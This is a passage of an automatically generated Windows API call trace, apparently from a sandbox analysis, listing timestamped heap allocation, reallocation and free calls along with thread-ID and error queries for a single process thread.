(HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8130 [0074.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8118 | out: hHeap=0x2ad0000) returned 1 [0074.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7ef0 | out: hHeap=0x2ad0000) returned 1 [0074.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7188 | out: hHeap=0x2ad0000) returned 1 [0074.766] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fef8 | out: hHeap=0x2ad0000) returned 1 [0074.766] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8130 | out: hHeap=0x2ad0000) returned 1 [0074.766] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb62b0, Size=0x160) returned 0x2cb78b0 [0074.766] GetCurrentThreadId () returned 0x9b0 [0074.766] GetCurrentThreadId () returned 0x9b0 [0074.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8ce0 [0074.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ef0 [0074.766] GetCurrentThreadId () returned 0x9b0 [0074.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f08 [0074.766] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f08 | out: hHeap=0x2ad0000) returned 1 [0074.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2cbc4b8 [0074.766] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0074.766] GetCurrentThreadId () returned 0x9b0 [0074.766] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1f858 [0074.766] GetLastError () returned 0x0 [0074.766] GetLastError () returned 0x0 [0074.766] GetLastError () returned 0x0 [0074.766] GetLastError () returned 0x0 [0074.766] GetLastError () returned 0x0 [0074.766] GetLastError () returned 0x0 [0074.767] GetLastError () returned 0x0 [0074.767] GetLastError () returned 0x0 [0074.767] GetLastError () returned 0x0 [0074.767] GetLastError () returned 0x0 [0074.767] GetLastError () returned 0x0 [0074.767] GetLastError () returned 0x0 [0074.767] GetLastError () returned 0x0 [0074.767] GetLastError () returned 0x0 [0074.767] GetLastError () returned 0x0 [0074.767] GetLastError () returned 0x0 [0074.767] GetLastError () returned 0x0 [0074.767] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1f858 | out: hHeap=0x2ad0000) returned 1 [0074.767] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f08 [0074.767] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7ef0 | out: hHeap=0x2ad0000) returned 1 [0074.767] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8ce0 | out: hHeap=0x2ad0000) returned 1 [0074.767] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2cb78b0, Size=0x1c8) returned 0x2baad50 [0074.767] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fba0 | out: hHeap=0x2ad0000) returned 1 [0074.767] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f08 | out: hHeap=0x2ad0000) returned 1 [0074.767] GetCurrentThreadId () returned 0x9b0 [0074.768] GetCurrentThreadId () returned 0x9b0 [0074.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8650 [0074.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8118 [0074.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8130 [0074.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8130 | out: hHeap=0x2ad0000) returned 1 [0074.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8118 | out: hHeap=0x2ad0000) returned 1 [0074.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8650 | out: hHeap=0x2ad0000) returned 1 [0074.768] GetCurrentThreadId () returned 0x9b0 [0074.768] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2baad50, Size=0x21c) returned 0x2cd0908 [0074.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7fe0 | out: hHeap=0x2ad0000) returned 1 [0074.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afd0 [0074.768] GetCurrentThreadId () returned 0x9b0 [0074.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8aff0 [0074.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afd0 | out: hHeap=0x2ad0000) returned 1 [0074.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x214) returned 0x30e5938 [0074.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80b8 | out: hHeap=0x2ad0000) returned 1 [0074.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aea0 | out: hHeap=0x2ad0000) returned 1 [0074.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0074.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7ff8 | out: hHeap=0x2ad0000) returned 1 [0074.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8088 | out: hHeap=0x2ad0000) returned 1 [0074.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af10 | out: hHeap=0x2ad0000) returned 1 [0074.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f98 | out: hHeap=0x2ad0000) returned 1 [0074.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8028 | out: hHeap=0x2ad0000) returned 1 [0074.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b030 | out: hHeap=0x2ad0000) returned 1 [0074.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8040 | out: hHeap=0x2ad0000) returned 1 [0074.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae90 | out: hHeap=0x2ad0000) returned 1 [0074.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb00 | out: hHeap=0x2ad0000) returned 1 [0074.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb9c98 | out: hHeap=0x2ad0000) returned 1 [0074.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aef0 | out: hHeap=0x2ad0000) returned 1 [0074.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8178 | out: hHeap=0x2ad0000) returned 1 [0074.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80d0 | out: hHeap=0x2ad0000) returned 1 [0074.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f20 | out: hHeap=0x2ad0000) returned 1 [0074.769] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cd0908 | out: hHeap=0x2ad0000) returned 1 [0074.769] GetCurrentThreadId () returned 0x9b0 [0074.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbaef8 [0074.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8028 [0074.769] GetCurrentThreadId () returned 0x9b0 [0074.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8118 [0074.769] GetCurrentThreadId () returned 0x9b0 [0074.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af30 [0074.769] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8088 [0074.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8088 | out: hHeap=0x2ad0000) returned 1 [0074.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8028 | out: hHeap=0x2ad0000) returned 1 [0074.770] GetCurrentThreadId () returned 0x9b0 [0074.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80a0 [0074.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8130 [0074.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8130 | out: hHeap=0x2ad0000) returned 1 [0074.770] GetCurrentThreadId () returned 0x9b0 [0074.770] GetCurrentThreadId () returned 0x9b0 [0074.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80b8 [0074.770] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca80b8, Size=0x20) returned 0x2a1fbf0 [0074.770] GetCurrentThreadId () returned 0x9b0 [0074.770] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbf0, Size=0x40) returned 0x2a18fc8 [0074.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7ea8 [0074.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8088 [0074.770] GetCurrentThreadId () returned 0x9b0 [0074.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f50 [0074.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f50 | out: hHeap=0x2ad0000) returned 1 [0074.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8088 | out: hHeap=0x2ad0000) returned 1 [0074.770] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7ea8 | out: hHeap=0x2ad0000) returned 1 [0074.770] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18fc8, Size=0x64) returned 0x2a19508 [0074.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afc0 [0074.770] GetCurrentThreadId () returned 0x9b0 [0074.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af40 [0074.771] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afc0 | out: hHeap=0x2ad0000) returned 1 [0074.771] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbaef8 | out: hHeap=0x2ad0000) returned 1 [0074.771] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af30 | out: hHeap=0x2ad0000) returned 1 [0074.771] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8118 | out: hHeap=0x2ad0000) returned 1 [0074.771] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca80a0 | out: hHeap=0x2ad0000) returned 1 [0074.771] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19508 | out: hHeap=0x2ad0000) returned 1 [0074.771] GetCurrentThreadId () returned 0x9b0 [0074.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbbe48 [0074.771] GetCurrentThreadId () returned 0x9b0 [0074.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ef0 [0074.771] GetCurrentThreadId () returned 0x9b0 [0074.771] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca7ef0, Size=0x20) returned 0x2a1fb00 [0074.771] GetCurrentThreadId () returned 0x9b0 [0074.771] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb00, Size=0x40) returned 0x2a19058 [0074.771] GetCurrentThreadId () returned 0x9b0 [0074.771] GetCurrentThreadId () returned 0x9b0 [0074.771] GetCurrentThreadId () returned 0x9b0 [0074.771] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19058, Size=0x64) returned 0x2a19ab8 [0074.771] GetCurrentThreadId () returned 0x9b0 [0074.771] GetCurrentThreadId () returned 0x9b0 [0074.772] GetCurrentThreadId () returned 0x9b0 [0074.772] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19ab8, Size=0x8c) returned 0x2ac01f0 [0074.772] GetCurrentThreadId () returned 0x9b0 [0074.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7fe0 [0074.772] GetCurrentThreadId () returned 0x9b0 [0074.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8130 [0074.772] GetCurrentThreadId () returned 0x9b0 [0074.772] GetCurrentThreadId () returned 0x9b0 [0074.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f98 [0074.772] GetCurrentThreadId () returned 0x9b0 [0074.772] GetCurrentThreadId () returned 0x9b0 [0074.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af90 [0074.772] GetCurrentThreadId () returned 0x9b0 [0074.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ef0 [0074.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7ef0 | out: hHeap=0x2ad0000) returned 1 [0074.772] GetCurrentThreadId () returned 0x9b0 [0074.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca80b8 [0074.772] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca80b8, Size=0x20) returned 0x2a1fb00 [0074.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba75e8 [0074.772] GetCurrentThreadId () returned 0x9b0 [0074.772] GetCurrentThreadId () returned 0x9b0 [0074.773] GetCurrentThreadId () returned 0x9b0 [0074.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ef0 [0074.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ff8 [0074.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba75e8 | out: hHeap=0x2ad0000) returned 1 [0074.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7ef0 | out: hHeap=0x2ad0000) returned 1 [0074.773] GetCurrentThreadId () returned 0x9b0 [0074.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7ff8 | out: hHeap=0x2ad0000) returned 1 [0074.773] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb00, Size=0x40) returned 0x2a18d40 [0074.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba74d0 [0074.773] GetCurrentThreadId () returned 0x9b0 [0074.773] GetCurrentThreadId () returned 0x9b0 [0074.773] GetCurrentThreadId () returned 0x9b0 [0074.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8160 [0074.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba74d0 | out: hHeap=0x2ad0000) returned 1 [0074.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0074.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8160 | out: hHeap=0x2ad0000) returned 1 [0074.773] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18d40, Size=0x64) returned 0x2a196c8 [0074.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8bc8 [0074.773] GetCurrentThreadId () returned 0x9b0 [0074.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ef0 [0074.773] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7ef0 | out: hHeap=0x2ad0000) returned 1 [0074.774] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2cbc4b8 [0074.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cbc4b8 | out: hHeap=0x2ad0000) returned 1 [0074.774] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fb78 [0074.774] GetLastError () returned 0x0 [0074.774] GetLastError () returned 0x0 [0074.774] GetLastError () returned 0x0 [0074.774] GetLastError () returned 0x0 [0074.774] GetLastError () returned 0x0 [0074.774] GetLastError () returned 0x0 [0074.774] GetLastError () returned 0x0 [0074.774] GetLastError () returned 0x0 [0074.774] GetLastError () returned 0x0 [0074.774] GetLastError () returned 0x0 [0074.774] GetLastError () returned 0x0 [0074.774] GetLastError () returned 0x0 [0074.774] GetLastError () returned 0x0 [0074.774] GetLastError () returned 0x0 [0074.774] GetLastError () returned 0x0 [0074.774] GetCurrentThreadId () returned 0x9b0 [0074.774] GetLastError () returned 0x0 [0074.774] GetLastError () returned 0x0 [0074.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0074.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8160 [0074.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8bc8 | out: hHeap=0x2ad0000) returned 1 [0074.775] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a196c8, Size=0x8c) returned 0x2ac0a40 [0074.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8160 | out: hHeap=0x2ad0000) returned 1 [0074.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb00 | out: hHeap=0x2ad0000) returned 1 [0074.775] GetCurrentThreadId () returned 0x9b0 [0074.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba8f10 [0074.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ff8 [0074.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7ff8 | out: hHeap=0x2ad0000) returned 1 [0074.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba8f10 | out: hHeap=0x2ad0000) returned 1 [0074.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0074.775] GetCurrentThreadId () returned 0x9b0 [0074.775] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0a40, Size=0xb8) returned 0x2ac9710 [0074.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aee0 [0074.775] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aed0 [0074.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8aee0 | out: hHeap=0x2ad0000) returned 1 [0074.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbbe48 | out: hHeap=0x2ad0000) returned 1 [0074.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f98 | out: hHeap=0x2ad0000) returned 1 [0074.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af90 | out: hHeap=0x2ad0000) returned 1 [0074.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8130 | out: hHeap=0x2ad0000) returned 1 [0074.775] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac01f0 | out: hHeap=0x2ad0000) returned 1 [0074.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7fe0 | out: hHeap=0x2ad0000) returned 1 [0074.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac9710 | out: hHeap=0x2ad0000) returned 1 [0074.776] GetCurrentThreadId () returned 0x9b0 [0074.776] GetCurrentThreadId () returned 0x9b0 [0074.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbca88 [0074.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8100 [0074.776] GetCurrentThreadId () returned 0x9b0 [0074.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ef0 [0074.776] GetCurrentThreadId () returned 0x9b0 [0074.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b030 [0074.776] GetCurrentThreadId () returned 0x9b0 [0074.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7fe0 [0074.776] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7fe0 | out: hHeap=0x2ad0000) returned 1 [0074.776] GetCurrentThreadId () returned 0x9b0 [0074.776] GetCurrentThreadId () returned 0x9b0 [0074.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8088 [0074.776] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8088, Size=0x20) returned 0x2a1fb78 [0074.776] GetCurrentThreadId () returned 0x9b0 [0074.776] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb78, Size=0x40) returned 0x2a19328 [0074.776] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba7c78 [0074.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f68 [0074.777] GetCurrentThreadId () returned 0x9b0 [0074.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8088 [0074.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8088 | out: hHeap=0x2ad0000) returned 1 [0074.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7c78 | out: hHeap=0x2ad0000) returned 1 [0074.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f68 | out: hHeap=0x2ad0000) returned 1 [0074.777] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19328, Size=0x64) returned 0x2a19968 [0074.777] GetCurrentThreadId () returned 0x9b0 [0074.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b040 [0074.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aee0 [0074.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b040 | out: hHeap=0x2ad0000) returned 1 [0074.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbca88 | out: hHeap=0x2ad0000) returned 1 [0074.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7ef0 | out: hHeap=0x2ad0000) returned 1 [0074.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b030 | out: hHeap=0x2ad0000) returned 1 [0074.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8100 | out: hHeap=0x2ad0000) returned 1 [0074.777] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19968 | out: hHeap=0x2ad0000) returned 1 [0074.777] GetCurrentThreadId () returned 0x9b0 [0074.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbaef8 [0074.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f38 [0074.777] GetCurrentThreadId () returned 0x9b0 [0074.777] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ef0 [0074.778] GetCurrentThreadId () returned 0x9b0 [0074.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f08 [0074.778] GetCurrentThreadId () returned 0x9b0 [0074.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af90 [0074.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7fe0 [0074.778] GetCurrentThreadId () returned 0x9b0 [0074.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7fe0 | out: hHeap=0x2ad0000) returned 1 [0074.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f38 | out: hHeap=0x2ad0000) returned 1 [0074.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7fe0 [0074.778] GetCurrentThreadId () returned 0x9b0 [0074.778] GetCurrentThreadId () returned 0x9b0 [0074.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7ff8 [0074.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afb0 [0074.778] GetCurrentThreadId () returned 0x9b0 [0074.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f98 [0074.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afb0 | out: hHeap=0x2ad0000) returned 1 [0074.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8148 [0074.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8148 | out: hHeap=0x2ad0000) returned 1 [0074.778] GetCurrentThreadId () returned 0x9b0 [0074.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8028 [0074.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8028 | out: hHeap=0x2ad0000) returned 1 [0074.779] GetCurrentThreadId () returned 0x9b0 [0074.779] GetCurrentThreadId () returned 0x9b0 [0074.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8028 [0074.779] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ca8028, Size=0x20) returned 0x2a1fb78 [0074.779] GetCurrentThreadId () returned 0x9b0 [0074.779] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb78, Size=0x40) returned 0x2a19328 [0074.779] GetCurrentThreadId () returned 0x9b0 [0074.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2ba81f0 [0074.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca8088 [0074.779] GetCurrentThreadId () returned 0x9b0 [0074.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2ca7f20 [0074.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca7f20 | out: hHeap=0x2ad0000) returned 1 [0074.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba81f0 | out: hHeap=0x2ad0000) returned 1 [0074.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ca8088 | out: hHeap=0x2ad0000) returned 1 [0074.779] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19328, Size=0x64) returned 0x2a19818 [0074.779] GetCurrentThreadId () 